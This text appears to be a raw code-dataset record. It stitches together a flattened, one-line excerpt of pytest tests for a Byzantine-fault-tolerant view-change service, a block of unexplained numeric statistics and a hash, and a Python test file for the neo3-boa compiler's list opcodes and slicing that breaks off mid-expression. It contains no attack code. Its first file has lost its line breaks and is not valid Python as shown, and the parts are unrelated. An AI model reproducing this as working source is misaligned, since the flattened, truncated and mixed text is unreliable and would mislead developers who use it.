internal_bus.send(NeedViewChange()) handler.assert_called_once_with(ViewChangeStarted(view_no=initial_view_no + 1)) internal_bus.send(NeedViewChange(view_no=5)) handler.assert_called_with(ViewChangeStarted(view_no=5)) def test_start_view_change_broadcasts_view_change_message(internal_bus, external_bus, view_change_service, initial_view_no, is_master): internal_bus.send(NeedViewChange()) if is_master: assert len(external_bus.sent_messages) == 1 msg, dst = external_bus.sent_messages[0] assert dst is None # message was broadcast assert isinstance(msg, ViewChange) assert msg.viewNo == initial_view_no + 1 assert msg.stableCheckpoint == view_change_service._data.stable_checkpoint else: assert len(external_bus.sent_messages) == 0 def test_non_primary_responds_to_view_change_message_with_view_change_ack_to_new_primary( internal_bus, external_bus, some_item, other_item, validators, primary, view_change_service_builder, initial_view_no, is_master): # TODO: Need to decide on how we handle this case if not is_master: return next_view_no = initial_view_no + 1 non_primary_name = some_item(validators, exclude=[primary(next_view_no)]) service = view_change_service_builder(non_primary_name) internal_bus.send(NeedViewChange()) external_bus.sent_messages.clear() vc = create_view_change(initial_view_no) frm = other_item(validators, exclude=[non_primary_name]) external_bus.process_incoming(vc, generateName(frm, service._data.inst_id)) assert len(external_bus.sent_messages) == 1 msg, dst = external_bus.sent_messages[0] assert dst == [replica_name_to_node_name(service._data.primary_name)] assert isinstance(msg, ViewChangeAck) assert msg.viewNo == vc.viewNo assert msg.name == frm assert msg.digest == view_change_digest(vc) def test_primary_doesnt_respond_to_view_change_message( some_item, validators, primary, external_bus, view_change_service_builder, initial_view_no, view_change_message, is_master): # TODO: Need to decide on how we handle this case if not is_master: return name = primary(initial_view_no + 1) service = view_change_service_builder(name) vc = create_view_change(initial_view_no) frm = some_item(validators, exclude=[name]) external_bus.process_incoming(vc, generateName(frm, service._data.inst_id)) assert len(external_bus.sent_messages) == 0 def test_new_view_message_is_sent_by_primary_when_view_change_certificate_is_reached( internal_bus, external_bus, validators, primary, view_change_service_builder, initial_view_no, view_change_acks, is_master): # TODO: Need to decide on how we handle this case if not is_master: return primary_name = primary(initial_view_no + 1) service = view_change_service_builder(primary_name) # start view change internal_bus.send(NeedViewChange()) external_bus.sent_messages.clear() # receive quorum of ViewChanges and ViewChangeAcks non_primaries = [item for item in validators if item != primary_name] vc = create_view_change(initial_view_no) for vc_frm in non_primaries: external_bus.process_incoming(vc, generateName(vc_frm, service._data.inst_id)) for ack, ack_frm in view_change_acks(vc, vc_frm, primary_name, len(validators) - 2): external_bus.process_incoming(ack, generateName(ack_frm, service._data.inst_id)) # check that NewView has been sent assert len(external_bus.sent_messages) == 1 msg, dst = external_bus.sent_messages[0] assert dst is None # message was broadcast assert isinstance(msg, NewView) assert msg.viewNo == initial_view_no + 1 def test_new_view_message_is_not_sent_by_non_primary_when_view_change_certificate_is_reached( internal_bus, external_bus, validators, primary, view_change_service_builder, initial_view_no, some_item, is_master): # TODO: Need to decide on how we handle this case if not is_master: return next_view_no = initial_view_no + 1 primary_name = primary(next_view_no) non_primary_name = some_item(validators, exclude=[primary_name]) service = view_change_service_builder(non_primary_name) # start view change internal_bus.send(NeedViewChange()) external_bus.sent_messages.clear() # receive quorum of ViewChanges and ViewChangeAcks non_primaries = [item for item in validators if item != primary_name] vc = create_view_change(initial_view_no) for vc_frm in non_primaries: external_bus.process_incoming(vc, generateName(vc_frm, service._data.inst_id)) for ack, ack_frm in create_view_change_acks(vc, vc_frm, non_primaries): external_bus.process_incoming(ack, generateName(ack_frm, service._data.inst_id)) # check that NewView hasn't been sent assert all(not isinstance(msg, NewView) for msg in external_bus.sent_messages) def test_view_change_finished_is_sent_by_primary_once_view_change_certificate_is_reached(internal_bus, external_bus, validators, primary, view_change_service_builder, initial_view_no, is_master): # TODO: Need to decide on how we handle this case if not is_master: return handler = Mock() internal_bus.subscribe(NewViewAccepted, handler) primary_name = primary(initial_view_no + 1) service = view_change_service_builder(primary_name) # start view change internal_bus.send(NeedViewChange()) external_bus.sent_messages.clear() old_data = copy_shared_data(service._data) # receive quorum of ViewChanges and ViewChangeAcks non_primaries = [item for item in validators if item != primary_name] non_primaries = random.sample(non_primaries, service._data.quorums.view_change.value) vc = create_view_change(initial_view_no) new_view = create_new_view_from_vc(vc, non_primaries) for vc_frm in non_primaries: external_bus.process_incoming(vc, generateName(vc_frm, service._data.inst_id)) for ack, ack_frm in create_view_change_acks(vc, vc_frm, non_primaries): external_bus.process_incoming(ack, generateName(ack_frm, service._data.inst_id)) # check that NewViewAccepted has been sent expected_finish_vc = NewViewAccepted(view_no=initial_view_no + 1, view_changes=new_view.viewChanges, checkpoint=new_view.checkpoint, batches=new_view.batches) handler.assert_called_with(expected_finish_vc) # check that shared data is updated new_data = copy_shared_data(service._data) check_service_changed_only_owned_fields_in_shared_data(ViewChangeService, old_data, new_data) assert service._data.view_no == initial_view_no + 1 assert not service._data.waiting_for_new_view def test_view_change_finished_is_sent_by_non_primary_once_view_change_certificate_is_reached_and_new_view_from_primary( internal_bus, external_bus, validators, primary, view_change_service_builder, initial_view_no, some_item, is_master): # TODO: Need to decide on how we handle this case if not is_master: return handler = Mock() internal_bus.subscribe(NewViewAccepted, handler) next_view_no = initial_view_no + 1 primary_name = primary(next_view_no) non_primary_name = some_item(validators, exclude=[primary_name]) service = view_change_service_builder(non_primary_name) vc = create_view_change(initial_view_no) service._data.preprepared = vc.preprepared service._data.prepared = vc.prepared service._data.stable_checkpoint = vc.stableCheckpoint service._data.checkpoints = vc.checkpoints old_data = copy_shared_data(service._data) # start view change internal_bus.send(NeedViewChange()) external_bus.sent_messages.clear() # receive quorum of ViewChanges and ViewChangeAcks non_primaries = [item for item in validators if item != primary_name] non_primaries = random.sample(non_primaries, service._data.quorums.view_change.value) new_view = create_new_view_from_vc(vc, non_primaries) for vc_frm in non_primaries: external_bus.process_incoming(vc, generateName(vc_frm, service._data.inst_id)) for ack, ack_frm in create_view_change_acks(vc, vc_frm, non_primaries): external_bus.process_incoming(ack, generateName(ack_frm, service._data.inst_id)) # check that NewViewAccepted hasn't been sent if NewView is from non-primary external_bus.process_incoming(new_view, generateName(non_primary_name, service._data.inst_id)) handler.assert_not_called() assert service._data.view_no == initial_view_no + 1 assert service._data.waiting_for_new_view # check that NewViewAccepted has been sent if NewView is from primary external_bus.process_incoming(new_view, generateName(primary_name, service._data.inst_id)) expected_finish_vc = NewViewAccepted(view_no=initial_view_no + 1, view_changes=new_view.viewChanges, checkpoint=new_view.checkpoint, batches=new_view.batches) handler.assert_called_with(expected_finish_vc) # check that shared data is updated new_data = copy_shared_data(service._data) check_service_changed_only_owned_fields_in_shared_data(ViewChangeService, old_data, new_data) assert service._data.view_no == initial_view_no + 1 assert not service._data.waiting_for_new_view def test_send_instance_change_on_new_view_with_incorrect_checkpoint(internal_bus, external_bus, validators, primary, view_change_service_builder, initial_view_no, some_item, is_master): # TODO: Need to decide on how we handle this case if not is_master: return next_view_no = initial_view_no + 1 primary_name = primary(next_view_no) non_primary_name = some_item(validators, exclude=[primary_name]) service = view_change_service_builder(non_primary_name) vc = create_view_change(initial_view_no) service._data.preprepared = vc.preprepared service._data.prepared = vc.prepared service._data.stable_checkpoint = vc.stableCheckpoint service._data.checkpoints = vc.checkpoints # start view change internal_bus.send(NeedViewChange()) external_bus.sent_messages.clear() # receive quorum of ViewChanges and ViewChangeAcks non_primaries = [item for item in validators if item != primary_name] non_primaries = random.sample(non_primaries, service._data.quorums.view_change.value) for vc_frm in non_primaries: external_bus.process_incoming(vc, generateName(vc_frm, service._data.inst_id)) for ack, ack_frm in create_view_change_acks(vc, vc_frm, non_primaries): external_bus.process_incoming(ack, generateName(ack_frm, service._data.inst_id)) cp = Checkpoint(instId=0, viewNo=initial_view_no, seqNoStart=0, seqNoEnd=1000, digest=cp_digest(1000)) new_view = create_new_view_from_vc(vc, non_primaries, checkpoint=cp) # send NewView by Primary init_network_msg_count = len(external_bus.sent_messages) external_bus.process_incoming(new_view, generateName(primary_name, service._data.inst_id)) # we don't go to new view, just send Instance Change assert service._data.view_no == initial_view_no + 1 assert init_network_msg_count + 1 == len(external_bus.sent_messages) msg, dst = external_bus.sent_messages[-1] assert dst is None # broadcast assert isinstance(msg, InstanceChange) assert msg.viewNo == initial_view_no + 2 assert msg.reason == Suspicions.NEW_VIEW_INVALID_CHECKPOINTS.code def test_send_instance_change_on_new_view_with_incorrect_batches(internal_bus, external_bus, validators, primary, view_change_service_builder, initial_view_no, some_item, is_master): # TODO: Need to decide on how we handle this case if not is_master: return next_view_no = initial_view_no + 1 primary_name = primary(next_view_no) non_primary_name = some_item(validators, exclude=[primary_name]) service = view_change_service_builder(non_primary_name) vc = create_view_change(initial_view_no) service._data.preprepared = vc.preprepared service._data.prepared = vc.prepared service._data.stable_checkpoint = vc.stableCheckpoint service._data.checkpoints = vc.checkpoints # start view change internal_bus.send(NeedViewChange()) external_bus.sent_messages.clear() # receive quorum of ViewChanges and ViewChangeAcks non_primaries = [item for item in validators if item != primary_name] non_primaries = random.sample(non_primaries, service._data.quorums.view_change.value) for vc_frm in non_primaries: external_bus.process_incoming(vc, generateName(vc_frm, service._data.inst_id)) for ack, ack_frm in create_view_change_acks(vc, vc_frm, non_primaries): external_bus.process_incoming(ack, generateName(ack_frm, service._data.inst_id)) new_view = create_new_view_from_vc(vc, non_primaries, batches=create_batches(view_no=initial_view_no + 2)) # send NewView by Primary init_network_msg_count = len(external_bus.sent_messages) external_bus.process_incoming(new_view, generateName(primary_name, service._data.inst_id)) # we don't go to new view, just send Instance Change assert service._data.view_no == initial_view_no + 1 assert init_network_msg_count + 1 == len(external_bus.sent_messages) msg, dst = external_bus.sent_messages[-1] assert dst is None # broadcast assert isinstance(msg, InstanceChange) assert msg.viewNo == initial_view_no + 2 assert msg.reason == Suspicions.NEW_VIEW_INVALID_BATCHES.code def test_send_instance_change_on_timeout_no_new_view_received(internal_bus, external_bus, view_change_service, timer, initial_view_no, is_master): # TODO: Need to decide on how we handle this case if not is_master: return internal_bus.send(NeedViewChange()) init_network_msg_count = len(external_bus.sent_messages) timer.sleep(view_change_service._config.NEW_VIEW_TIMEOUT - 1) assert view_change_service._data.view_no == initial_view_no + 1 assert init_network_msg_count == len(external_bus.sent_messages) timer.sleep(2) # we don't go to new view, just send Instance Change assert view_change_service._data.view_no == initial_view_no + 1 assert init_network_msg_count + 1 == len(external_bus.sent_messages) msg, dst = external_bus.sent_messages[-1] assert dst is None # broadcast assert isinstance(msg, InstanceChange) assert msg.viewNo == initial_view_no + 2 assert msg.reason == Suspicions.INSTANCE_CHANGE_TIMEOUT.code timer.sleep(view_change_service._config.NEW_VIEW_TIMEOUT + 1) # we don't go to new view, just send Instance Change assert view_change_service._data.view_no == initial_view_no + 1 assert init_network_msg_count + 2 == len(external_bus.sent_messages) msg, dst = external_bus.sent_messages[-1] assert dst is None # broadcast assert isinstance(msg, InstanceChange) assert msg.viewNo == initial_view_no + 2 assert msg.reason == Suspicions.INSTANCE_CHANGE_TIMEOUT.code def test_send_instance_change_on_timeout_when_new_view_received_but_not_processed(internal_bus, external_bus, timer, view_change_service, initial_view_no, is_master): # TODO: Need to decide on how we handle this case if not is_master: return internal_bus.send(NeedViewChange()) init_network_msg_count = len(external_bus.sent_messages) new_view = create_new_view(initial_view_no=0, stable_cp=200) external_bus.process_incoming(new_view, view_change_service._data.primary_name) timer.sleep(view_change_service._config.NEW_VIEW_TIMEOUT + 1) # we don't go to new view, just send Instance Change assert view_change_service._data.view_no == initial_view_no + 1 assert init_network_msg_count + 1 == len(external_bus.sent_messages) msg, dst = external_bus.sent_messages[-1] assert dst is None # broadcast assert isinstance(msg, InstanceChange) assert msg.viewNo == initial_view_no + 2 assert msg.reason == Suspicions.INSTANCE_CHANGE_TIMEOUT.code def test_do_not_send_instance_change_on_timeout_when_view_change_finished_on_time(internal_bus, external_bus, validators, primary, view_change_service_builder, timer, initial_view_no, is_master): # TODO: Need to decide on how we handle this case if not is_master: return primary_name = primary(initial_view_no + 1) service = view_change_service_builder(primary_name) # start view change internal_bus.send(NeedViewChange()) external_bus.sent_messages.clear() # receive quorum of ViewChanges and ViewChangeAcks non_primaries = [item for item in validators if item != primary_name] vc = create_view_change(initial_view_no) for vc_frm in non_primaries: external_bus.process_incoming(vc, generateName(vc_frm, service._data.inst_id)) for ack, ack_frm in create_view_change_acks(vc, vc_frm, non_primaries): external_bus.process_incoming(ack, generateName(ack_frm, service._data.inst_id)) # check that view change is finished assert service._data.view_no == initial_view_no + 1 assert not service._data.waiting_for_new_view assert len(external_bus.sent_messages) == 1 msg, dst = external_bus.sent_messages[0] assert isinstance(msg, NewView) # make sure view change hasn't been started again timer.sleep(service._config.NEW_VIEW_TIMEOUT + 1) assert service._data.view_no == initial_view_no + 1 assert len(external_bus.sent_messages) == 1 msg, dst = external_bus.sent_messages[0] assert isinstance(msg, NewView) def test_do_not_send_instance_change_on_timeout_when_multiple_view_change_finished_on_time(internal_bus, external_bus, validators, primary, view_change_service_builder, timer, initial_view_no, is_master): # TODO: Need to decide on how we handle this case if not is_master: return primary_name = primary(initial_view_no + 2) service = view_change_service_builder(primary_name) # start first view change internal_bus.send(NeedViewChange()) # start second view change internal_bus.send(NeedViewChange()) external_bus.sent_messages.clear() # receive quorum of ViewChanges and ViewChangeAcks non_primaries = [item for item in validators if item != primary_name] vc = create_view_change(initial_view_no + 1) service._data.checkpoints.append(Checkpoint(instId=0, viewNo=initial_view_no + 1, seqNoStart=0, seqNoEnd=DEFAULT_STABLE_CHKP, digest=cp_digest(DEFAULT_STABLE_CHKP))) for vc_frm in non_primaries: external_bus.process_incoming(vc, generateName(vc_frm, service._data.inst_id)) for ack, ack_frm in create_view_change_acks(vc, vc_frm, non_primaries): external_bus.process_incoming(ack, generateName(ack_frm, service._data.inst_id)) # check that view change is finished assert service._data.view_no == initial_view_no + 2 assert not service._data.waiting_for_new_view assert len(external_bus.sent_messages) == 1 msg, dst = external_bus.sent_messages[0] assert isinstance(msg, NewView) # make sure view change hasn't been started again timer.sleep(service._config.NEW_VIEW_TIMEOUT + 1) assert service._data.view_no == initial_view_no + 2 assert len(external_bus.sent_messages) == 1 msg, dst = external_bus.sent_messages[0] assert isinstance(msg, NewView) def test_start_vc_by_quorum_of_vc_msgs(view_change_service_builder, internal_bus, external_bus, validators, is_master): nnvc_queue = [] def nnvc_handler(msg: NodeNeedViewChange): nnvc_queue.append(msg) internal_bus.subscribe(NodeNeedViewChange, nnvc_handler) # Quorum for ViewChange message is N-f service = view_change_service_builder(validators[0]) proposed_view_no = 10 f = getMaxFailures(len(validators)) # Append N-f-1 ViewChange msgs to view_change_votes for validator in validators[1:-f]: msg = ViewChange(proposed_view_no, 0, [], [], []) service.process_view_change_message(msg, validator) # N-f-1 msgs is not enough for triggering view_change assert not nnvc_queue # Process the other one message service.process_view_change_message(ViewChange(proposed_view_no, 0, [], [], []), validators[-1]) if is_master: assert nnvc_queue assert isinstance(nnvc_queue[0], NodeNeedViewChange) assert nnvc_queue[0].view_no == proposed_view_no else: # ViewChange message isn't processed on backups assert not nnvc_queue
46.641921
121
0.6975
4,110
32,043
5.03747
0.058151
0.080661
0.078825
0.055786
0.83636
0.816944
0.78323
0.757342
0.733288
0.715755
0
0.005531
0.238305
32,043
686
122
46.709913
0.84275
0.078551
0
0.714575
0
0
0.001901
0
0
0
0
0.001458
0.190283
1
0.054656
false
0
0.034413
0.002024
0.131579
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c56538caf911733f83d5f431a8002d763e7b316f
38,927
py
Python
boa3_test/tests/compiler_tests/test_list.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
null
null
null
boa3_test/tests/compiler_tests/test_list.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
null
null
null
boa3_test/tests/compiler_tests/test_list.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
null
null
null
import unittest from boa3.boa3 import Boa3 from boa3.exception import CompilerError, CompilerWarning from boa3.model.type.type import Type from boa3.neo.vm.opcode.Opcode import Opcode from boa3.neo.vm.type.Integer import Integer from boa3.neo.vm.type.String import String from boa3_test.tests.boa_test import BoaTest from boa3_test.tests.test_classes.TestExecutionException import TestExecutionException from boa3_test.tests.test_classes.testengine import TestEngine class TestList(BoaTest): default_folder: str = 'test_sc/list_test' def test_list_int_values(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH3 # a = [1, 2, 3] + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH3 # array length + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # return a + Opcode.RET ) path = self.get_contract_path('IntList.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_string_values(self): byte_input0 = String('1').to_bytes() byte_input1 = String('2').to_bytes() byte_input2 = String('3').to_bytes() expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSHDATA1 # a = ['1', '2', '3'] + Integer(len(byte_input2)).to_byte_array() # '3' + byte_input2 + Opcode.PUSHDATA1 + Integer(len(byte_input1)).to_byte_array() # '2' + byte_input1 + Opcode.PUSHDATA1 + Integer(len(byte_input0)).to_byte_array() # '1' + byte_input0 + Opcode.PUSH3 # array length + Opcode.PACK + Opcode.STLOC0 + Opcode.RET # return ) path = self.get_contract_path('StrList.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_bool_values(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH0 # a = [True, True, False] + Opcode.PUSH1 + Opcode.PUSH1 + Opcode.PUSH3 # array length + Opcode.PACK + Opcode.STLOC0 + Opcode.RET # return ) path = self.get_contract_path('BoolList.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_variable_values(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x04' + b'\x00' + Opcode.PUSH1 # a = 1 + Opcode.STLOC0 + Opcode.PUSH2 # b = 2 + Opcode.STLOC1 + Opcode.PUSH3 # c = 3 + Opcode.STLOC2 + Opcode.PUSH3 # d = [a, b, c] + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH3 # array length + Opcode.PACK + Opcode.STLOC3 + Opcode.RET # return ) path = self.get_contract_path('VariableList.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_non_sequence_get_value(self): path = self.get_contract_path('MismatchedTypeGetValue.py') self.assertCompilerLogs(CompilerError.UnresolvedOperation, path) def test_list_get_value(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x00' + b'\x01' + Opcode.LDARG0 # arg[0] + Opcode.PUSH0 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.PICKITEM + Opcode.RET # return ) path = self.get_contract_path('GetValue.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main', [1, 2, 3, 4]) self.assertEqual(1, result) result = self.run_smart_contract(engine, path, 'Main', [5, 3, 2]) self.assertEqual(5, result) with self.assertRaises(TestExecutionException, msg=self.VALUE_IS_OUT_OF_RANGE_MSG): self.run_smart_contract(engine, path, 'Main', []) def test_list_get_value_with_negative_index(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x00' + b'\x01' + Opcode.LDARG0 # arg[-1] + Opcode.PUSHM1 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.PICKITEM + Opcode.RET # return ) path = self.get_contract_path('GetValueNegativeIndex.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main', [1, 2, 3, 4]) self.assertEqual(4, result) result = self.run_smart_contract(engine, path, 'Main', [5, 3, 2]) self.assertEqual(2, result) with self.assertRaises(TestExecutionException, msg=self.VALUE_IS_OUT_OF_RANGE_MSG): self.run_smart_contract(engine, path, 'Main', []) def test_list_type_hint(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH3 # a = [1, 2, 3] + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH3 # list length + Opcode.PACK + Opcode.STLOC0 + Opcode.RET # return ) path = self.get_contract_path('TypeHintAssignment.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_assign_empty_list(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.NEWARRAY0 + Opcode.STLOC0 + Opcode.RET # return ) path = self.get_contract_path('EmptyListAssignment.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_set_value(self): path = self.get_contract_path('SetValue.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main', [1, 2, 3, 4]) self.assertEqual([1, 2, 3, 4], result) result = self.run_smart_contract(engine, path, 'Main', [5, 3, 2]) self.assertEqual([1, 3, 2], result) with self.assertRaises(TestExecutionException, msg=self.VALUE_IS_OUT_OF_RANGE_MSG): self.run_smart_contract(engine, path, 'Main', []) def test_list_set_value_with_negative_index(self): path = self.get_contract_path('SetValueNegativeIndex.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main', [1, 2, 3, 4]) self.assertEqual([1, 2, 3, 1], result) result = self.run_smart_contract(engine, path, 'Main', [5, 3, 2]) self.assertEqual([5, 3, 1], result) with self.assertRaises(TestExecutionException, msg=self.VALUE_IS_OUT_OF_RANGE_MSG): self.run_smart_contract(engine, path, 'Main', []) def test_non_sequence_set_value(self): path = self.get_contract_path('MismatchedTypeSetValue.py') self.assertCompilerLogs(CompilerError.UnresolvedOperation, path) def test_list_index_mismatched_type(self): path = self.get_contract_path('MismatchedTypeListIndex.py') self.assertCompilerLogs(CompilerError.MismatchedTypes, path) def test_array_boa2_test1(self): path = self.get_contract_path('ArrayBoa2Test1.py') Boa3.compile(path) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main', expected_result_type=bool) self.assertEqual(True, result) def test_boa2_array_test(self): path = self.get_contract_path('ArrayBoa2Test.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'main', 0) self.assertEqual(1, result) result = self.run_smart_contract(engine, path, 'main', 1) self.assertEqual(6, result) result = self.run_smart_contract(engine, path, 'main', 2) self.assertEqual(3, result) result = self.run_smart_contract(engine, path, 'main', 4) self.assertEqual(8, result) result = self.run_smart_contract(engine, path, 'main', 8) self.assertEqual(9, result) def test_boa2_array_test2(self): path = self.get_contract_path('ArrayBoa2Test2.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'main') self.assertEqual(b'\xa0', result) def test_boa2_array_test3(self): path = self.get_contract_path('ArrayBoa2Test3.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'main') self.assertEqual([1, 2, 3], result) @unittest.skip("get values from inner arrays is not working as expected") def test_list_of_list(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x00' + b'\x01' + Opcode.LDARG0 # arg[0][0] + Opcode.PUSH0 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.PICKITEM + Opcode.PUSH0 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.PICKITEM + Opcode.RET # return ) path = self.get_contract_path('ListOfList.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main', [[1, 2], [3, 4]]) self.assertEqual(1, result) with self.assertRaises(TestExecutionException, msg=self.VALUE_IS_OUT_OF_RANGE_MSG): self.run_smart_contract(engine, path, 'Main', []) with self.assertRaises(TestExecutionException, msg=self.VALUE_IS_OUT_OF_RANGE_MSG): self.run_smart_contract(engine, path, 'Main', [[], [1, 2], [3, 4]]) def test_nep5_main(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x00' + b'\x02' + Opcode.LDARG1 # args[0] + Opcode.PUSH0 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.PICKITEM + Opcode.RET # return ) path = self.get_contract_path('Nep5Main.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main', 'op', [1, 2, 3, 4]) self.assertEqual(1, result) result = self.run_smart_contract(engine, path, 'Main', 'op', ['a', False]) self.assertEqual('a', result) with self.assertRaises(TestExecutionException, msg=self.VALUE_IS_OUT_OF_RANGE_MSG): self.run_smart_contract(engine, path, 'Main', 'op', []) def test_boa2_demo1(self): path = self.get_contract_path('Demo1Boa2.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'main', 'add', 1, 3) self.assertEqual(7, result) result = self.run_smart_contract(engine, path, 'main', 'add', 2, 3) self.assertEqual(8, result) # region TestSlicing def test_list_slicing(self): path = self.get_contract_path('ListSlicingLiteralValues.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([2], result) def test_list_slicing_start_larger_than_ending(self): path = self.get_contract_path('ListSlicingStartLargerThanEnding.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([], result) def test_list_slicing_with_variables(self): path = self.get_contract_path('ListSlicingVariableValues.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([2], result) def test_list_slicing_negative_start(self): path = self.get_contract_path('ListSlicingNegativeStart.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([2, 3, 4, 5], result) def test_list_slicing_negative_end(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH5 # a = [0, 1, 2, 3, 4, 5] + Opcode.PUSH4 + Opcode.PUSH3 + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH0 + Opcode.PUSH6 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # return a[:-4] + Opcode.PUSH4 + Opcode.NEGATE # slice end + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.PUSH0 + Opcode.SWAP + Opcode.NEWARRAY0 # slice + Opcode.PUSH2 + Opcode.PICK # index + Opcode.JMP # while index < end + Integer(32).to_byte_array(min_length=1) + Opcode.DUP # if index >= slice start + Opcode.PUSH4 + Opcode.PICK + Opcode.GE + Opcode.JMPIFNOT + Integer(25).to_byte_array(min_length=1) + Opcode.OVER # slice.append(array[index]) + Opcode.PUSH5 + Opcode.PICK + Opcode.PUSH2 + Opcode.PICK + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.PICKITEM + Opcode.OVER + Opcode.ISTYPE + Type.bytearray.stack_item + Opcode.JMPIFNOT + Integer(5).to_byte_array(signed=True, min_length=1) + Opcode.CAT + Opcode.JMP + Integer(5).to_byte_array(min_length=1) + Opcode.APPEND + Opcode.INC # index += 1 + Opcode.DUP + Opcode.PUSH3 + Opcode.PICK + Opcode.LT + Opcode.JMPIF # end while index < slice end + Integer(-34).to_byte_array(min_length=1) + Opcode.DROP + Opcode.REVERSE4 + Opcode.DROP + Opcode.DROP + Opcode.DROP + Opcode.RET # return ) path = self.get_contract_path('ListSlicingNegativeEnd.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([0, 1], result) def test_list_slicing_start_omitted(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH5 # a = [0, 1, 2, 3, 4, 5] + Opcode.PUSH4 + Opcode.PUSH3 + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH0 + Opcode.PUSH6 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # return a[:3] + Opcode.PUSH3 # slice end + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.PUSH0 + Opcode.SWAP + Opcode.NEWARRAY0 # slice + Opcode.PUSH2 + Opcode.PICK # index + Opcode.JMP # while index < end + Integer(32).to_byte_array(min_length=1) + Opcode.DUP # if index >= slice start + Opcode.PUSH4 + Opcode.PICK + Opcode.GE + Opcode.JMPIFNOT + Integer(25).to_byte_array(min_length=1) + Opcode.OVER # slice.append(array[index]) + Opcode.PUSH5 + Opcode.PICK + Opcode.PUSH2 + Opcode.PICK + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.PICKITEM + Opcode.OVER + Opcode.ISTYPE + Type.bytearray.stack_item + Opcode.JMPIFNOT + Integer(5).to_byte_array(signed=True, min_length=1) + Opcode.CAT + Opcode.JMP + Integer(5).to_byte_array(min_length=1) + Opcode.APPEND + Opcode.INC # index += 1 + Opcode.DUP + Opcode.PUSH3 + 